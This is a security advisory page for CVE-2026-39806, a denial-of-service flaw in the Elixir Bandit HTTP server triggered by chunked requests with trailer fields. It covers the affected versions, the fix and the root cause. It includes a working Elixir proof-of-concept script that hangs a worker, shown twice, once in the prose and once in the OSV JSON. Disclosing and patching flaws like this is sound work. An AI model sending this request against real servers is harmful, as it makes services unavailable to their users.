CVE-2026-39806: Bandit Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-rf5q-vwxw-gmrf
CVSS 7.5
CWE-835
Published
Advisory Summary

CVE-2026-39806 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')) affecting Bandit libraries in the Hex ecosystem. The issue involves unauthenticated dos via chunked request trailers in bandit http/1 decoder. Remediation is available by upgrading affected packages to version 1.11.1.

CVE-2026-39806 at a Glance

CVE Identifier CVE-2026-39806
GHSA Identifier GHSA-rf5q-vwxw-gmrf
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Affected Product Bandit
Package Ecosystem Hex
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-39806

To remediate this vulnerability, upgrade all affected Bandit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bandit fixed: 1.11.1
Upgrade bandit to 1.11.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for bandit

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39806, inspect your project dependencies for Bandit:

inspect dependencies for bandit

Analyze the terminal output to locate any version of Bandit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop'), where the product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. In Bandit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a `Transfer-Encoding: chunked` request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic. The vulnerability was likely introduced with this commit on `Dec 6, 2024`: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217 ### Details The bug is in `lib/bandit/http1/socket.ex` in `do_read_chunked_data!/5` (around lines 242–274). The terminator clause matches only `["0", "\r\n" <> rest]` — i.e. the last-chunk line `0\r\n` followed *immediately* by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between `0\r\n` and the final `\r\n`, e.g. a body ending `0\r\nX-T: v\r\n\r\n`. When trailers are present, `:binary.split/2` returns `["0", "X-T: v\r\n\r\n"]`. The terminator clause does not match. The inner `<<_::binary-size(0), ?\r, ?\n, _::binary>>` pattern also does not match because `rest` starts with `X`. Execution falls into the `_ ->` arm, which computes `to_read = 0 - byte_size(rest)` (a negative number) and calls `read_available!/2` on the socket. On timeout, `read_available!/2` returns `<<>>`, leaving the buffer unchanged. `do_read_chunked_data!/5` then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection. The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and `read_available!` is repeatedly called with no progress. The gap is acknowledged in the source itself — the comment on line 245 reads: *"We should be reading (and ignoring) trailers here"*. **Suggested fix:** after the `0` size line, consume bytes up to `\r\n\r\n` (parsing/discarding trailers via `:erlang.decode_packet(:httph_bin, …)`) before returning. Additionally, ensure every recursive arm makes forward progress — when `read_available!/2` returns `<<>>`, raise `request_error!(:request_timeout)` rather than re-entering with an unchanged buffer. ### PoC A self-contained reproduction script is available below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is: - one 5-byte chunk `"hello"` - the last-chunk marker `0\r\n` - one trailer field `X-Trailer: 1\r\n` - the terminating `\r\n` The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, `:gen_tcp.recv/3` times out after 10 seconds because the worker is stuck spinning in `do_read_chunked_data!/5`. Steps to reproduce: 1. `elixir script.exs` 2. Observe the `TIMEOUT — worker is pinned in do_read_chunked_data!/5` log line. 3. Each additional concurrent client sending the same request consumes one more worker process. ### Impact Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement. ### Script and Logs ```elixir # Bandit HTTP/1 chunked decoder hangs on requests with trailer headers. # # lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates # only when the last-chunk line `0\r\n` is followed *immediately* by the # empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between # them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the # match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)` # (negative), calls read_available!/2, gets <<>> on timeout, and recurses # with the same buffer forever — pinning the worker for the connection's # lifetime. The line 245 comment ("We should be reading (and ignoring) # trailers here") acknowledges the gap. # # This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST # whose body ends with a single trailer field, and waits for a response. # A correct server replies in milliseconds; the buggy decoder never does. # # Run: elixir script.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ]) defmodule EchoApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts) do {:ok, body, conn} = Plug.Conn.read_body(conn) Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes") end end defmodule TrailerHang do @port 4321 @recv_timeout_ms 10_000 def run do {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port) {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false]) request = build_chunked_request_with_trailer() log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.") :ok = :gen_tcp.send(sock, request) log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…") started_at = System.monotonic_time(:millisecond) case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do {:ok, response} -> elapsed = System.monotonic_time(:millisecond) - started_at log("Got response after #{elapsed}ms — server handles trailers correctly:") IO.puts(binary_part(response, 0, min(byte_size(response), 256))) {:error, :timeout} -> log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.") log("Each concurrent client sending this shape consumes one Bandit worker.") {:error, reason} -> log("Connection error: #{inspect(reason)}") end :gen_tcp.close(sock) end # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing # responses or requests. defp build_chunked_request_with_trailer do "POST / HTTP/1.1\r\n" <> "Host: 127.0.0.1:#{@port}\r\n" <> "Transfer-Encoding: chunked\r\n" <> "Trailer: X-Trailer\r\n" <> "Content-Type: application/octet-stream\r\n" <> "\r\n" <> "5\r\nhello\r\n" <> "0\r\n" <> "X-Trailer: 1\r\n" <> "\r\n" end defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}") end TrailerHang.run() ``` ```logs 12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http) [10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`. [10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)… [10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5. [10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker. ```

CVE-2026-39806 Affected Bandit Versions

1 component(s)
Fixed Versions:
1.11.1
Product / Package Ecosystem Affected Versions Fixed Version
bandit
Hex
≥ 1.6.0
< 1.11.1
1.11.1

References

Frequently Asked Questions

What is CVE-2026-39806?
CVE-2026-39806 is a security vulnerability in Bandit involving Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').
Which Bandit versions are affected?
Affected versions include releases prior to 1.11.1 across affected packages: bandit.
What version fixes CVE-2026-39806?
Upgrading to 1.11.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bandit affected?
Yes, bandit is affected in releases prior to 1.11.1. Upgrade your dependency to 1.11.1 or later.
What is the CVSS score of CVE-2026-39806?
CVE-2026-39806 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-39806?
CVE-2026-39806 is classified under CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.).
How can I check Hex dependencies for CVE-2026-39806?
Run the dependency tree command: 'inspect dependencies for bandit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rf5q-vwxw-gmrf",
  "modified" : "2026-06-08T20:17:20Z",
  "published" : "2026-05-19T19:25:21Z",
  "aliases" : [ "CVE-2026-39806" ],
  "summary" : "Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder",
  "details" : "### Summary\nA worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a `Transfer-Encoding: chunked` request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.\n\nThe vulnerability was likely introduced with this commit on `Dec 6, 2024`: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217\n\n### Details\nThe bug is in `lib/bandit/http1/socket.ex` in `do_read_chunked_data!/5` (around lines 242–274). The terminator clause matches only `[\"0\", \"\\r\\n\" <> rest]` — i.e. the last-chunk line `0\\r\\n` followed *immediately* by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between `0\\r\\n` and the final `\\r\\n`, e.g. a body ending `0\\r\\nX-T: v\\r\\n\\r\\n`.\n\nWhen trailers are present, `:binary.split/2` returns `[\"0\", \"X-T: v\\r\\n\\r\\n\"]`. The terminator clause does not match. The inner `<<_::binary-size(0), ?\\r, ?\\n, _::binary>>` pattern also does not match because `rest` starts with `X`. Execution falls into the `_ ->` arm, which computes `to_read = 0 - byte_size(rest)` (a negative number) and calls `read_available!/2` on the socket. On timeout, `read_available!/2` returns `<<>>`, leaving the buffer unchanged. `do_read_chunked_data!/5` then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.\n\nThe same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and `read_available!` is repeatedly called with no progress.\n\nThe gap is acknowledged in the source itself — the comment on line 245 reads: *\"We should be reading (and ignoring) trailers here\"*.\n\n**Suggested fix:** after the `0` size line, consume bytes up to `\\r\\n\\r\\n` (parsing/discarding trailers via `:erlang.decode_packet(:httph_bin, …)`) before returning. Additionally, ensure every recursive arm makes forward progress — when `read_available!/2` returns `<<>>`, raise `request_error!(:request_timeout)` rather than re-entering with an unchanged buffer.\n\n### PoC\nA self-contained reproduction script is available below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:\n\n- one 5-byte chunk `\"hello\"`\n- the last-chunk marker `0\\r\\n`\n- one trailer field `X-Trailer: 1\\r\\n`\n- the terminating `\\r\\n`\n\nThe request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, `:gen_tcp.recv/3` times out after 10 seconds because the worker is stuck spinning in `do_read_chunked_data!/5`.\n\nSteps to reproduce:\n1. `elixir script.exs`\n2. Observe the `TIMEOUT — worker is pinned in do_read_chunked_data!/5` log line.\n3. Each additional concurrent client sending the same request consumes one more worker process.\n\n### Impact\nUnauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.\n#\n# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates\n# only when the last-chunk line `0\\r\\n` is followed *immediately* by the\n# empty trailer line `\\r\\n`. RFC 9112 §7.1.2 allows trailer fields between\n# them (e.g. `0\\r\\nX-T: v\\r\\n\\r\\n`). With trailers present, none of the\n# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`\n# (negative), calls read_available!/2, gets <<>> on timeout, and recurses\n# with the same buffer forever — pinning the worker for the connection's\n# lifetime. The line 245 comment (\"We should be reading (and ignoring)\n# trailers here\") acknowledges the gap.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST\n# whose body ends with a single trailer field, and waits for a response.\n# A correct server replies in milliseconds; the buggy decoder never does.\n#\n# Run: elixir script.exs\n\nMix.install([\n  {:bandit, \"~> 1.10\"},\n  {:plug, \"~> 1.19\"}\n])\n\ndefmodule EchoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    {:ok, body, conn} = Plug.Conn.read_body(conn)\n    Plug.Conn.send_resp(conn, 200, \"got #{byte_size(body)} bytes\")\n  end\nend\n\ndefmodule TrailerHang do\n  @port 4321\n  @recv_timeout_ms 10_000\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    request = build_chunked_request_with_trailer()\n    log(\"Sending chunked POST whose body ends with `0\\\\r\\\\nX-Trailer: 1\\\\r\\\\n\\\\r\\\\n`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    log(\"Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…\")\n    started_at = System.monotonic_time(:millisecond)\n\n    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do\n      {:ok, response} ->\n        elapsed = System.monotonic_time(:millisecond) - started_at\n        log(\"Got response after #{elapsed}ms — server handles trailers correctly:\")\n        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))\n\n      {:error, :timeout} ->\n        log(\"TIMEOUT — worker is pinned in do_read_chunked_data!/5.\")\n        log(\"Each concurrent client sending this shape consumes one Bandit worker.\")\n\n      {:error, reason} ->\n        log(\"Connection error: #{inspect(reason)}\")\n    end\n\n    :gen_tcp.close(sock)\n  end\n\n  # Body: one 5-byte chunk \"hello\", last-chunk marker `0\\r\\n`, one trailer\n  # `X-Trailer: 1\\r\\n`, terminating `\\r\\n`. RFC-conformant; many proxies\n  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing\n  # responses or requests.\n  defp build_chunked_request_with_trailer do\n    \"POST / HTTP/1.1\\r\\n\" <>\n      \"Host: 127.0.0.1:#{@port}\\r\\n\" <>\n      \"Transfer-Encoding: chunked\\r\\n\" <>\n      \"Trailer: X-Trailer\\r\\n\" <>\n      \"Content-Type: application/octet-stream\\r\\n\" <>\n      \"\\r\\n\" <>\n      \"5\\r\\nhello\\r\\n\" <>\n      \"0\\r\\n\" <>\n      \"X-Trailer: 1\\r\\n\" <>\n      \"\\r\\n\"\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}\")\nend\n\nTrailerHang.run()\n```\n\n```logs\n12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:36:54.275] Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.\n[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…\n[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.\n[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "bandit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.6.0"
      }, {
        "fixed" : "1.11.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39806"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-39806.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mtrudel/bandit"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39806"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T19:25:21Z",
    "nvd_published_at" : "2026-05-13T14:17:35Z"
  }
}